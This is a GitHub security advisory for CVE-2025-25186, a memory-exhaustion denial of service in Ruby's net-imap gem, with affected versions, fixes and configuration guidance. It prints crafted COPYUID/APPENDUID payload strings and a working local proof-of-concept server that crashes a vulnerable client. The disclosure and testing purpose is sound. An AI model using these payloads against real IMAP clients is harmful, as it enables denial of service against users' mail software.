GitHub Advisoryadvisory · RubyGems
GHSA-7fc5-f82f-cx69 Possible DoS by memory exhaustion in net-imap
MEDIUM
Official page ↗
- Aliases
- CVE-2025-25186
- Ecosystem
- RubyGems
- Packages
- net-imap
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1287, CWE-400, CWE-405, CWE-409, CWE-770, CWE-789
- Reviewed
- 2025-02-10
Affected packages
• RubyGems net-imap: >= 0.3.2, < 0.3.8 → fixed in 0.3.8
• RubyGems net-imap: >= 0.4.0, < 0.4.19 → fixed in 0.4.19
• RubyGems net-imap: >= 0.5.0, < 0.5.6 → fixed in 0.5.6
Description
Summary
There is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client's receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.
The `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.
Malicious inputs:
```ruby
40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
Worst *valid* input scenario (using uint32 max),
44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
UINT32_MAX can be created. For example, the following would theoretically
expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
```
Simple way to test this:
```ruby
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
```
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
```ruby
globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
```
This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is `true`.
For v0.5.6, the default value is `:up_to_max_size`.
For v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.
Assign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.
When `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.
When `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.
For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:
```ruby
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
```
Proof of concept
Save the following to a ruby file (e.g: `poc.rb`) and make it executable:
```ruby
!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
```
Use `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB:
```console
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:i…
Related
Alias · CVE (1)
- CVE-2025-25186 Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. vulnerability
Weakness · CWE (6)
- CWE-1287 Improper Validation of Specified Type of Input weakness
- CWE-400 Uncontrolled Resource Consumption weakness
- CWE-405 Asymmetric Resource Consumption (Amplification) weakness
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
- CWE-789 Memory Allocation with Excessive Size Value weakness
References
- https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-25186 advisory
- https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35 web
- https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3 web
- https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022 web
- https://github.com/ruby/net-imap package
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml web
- https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html web
- https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html web
- https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html web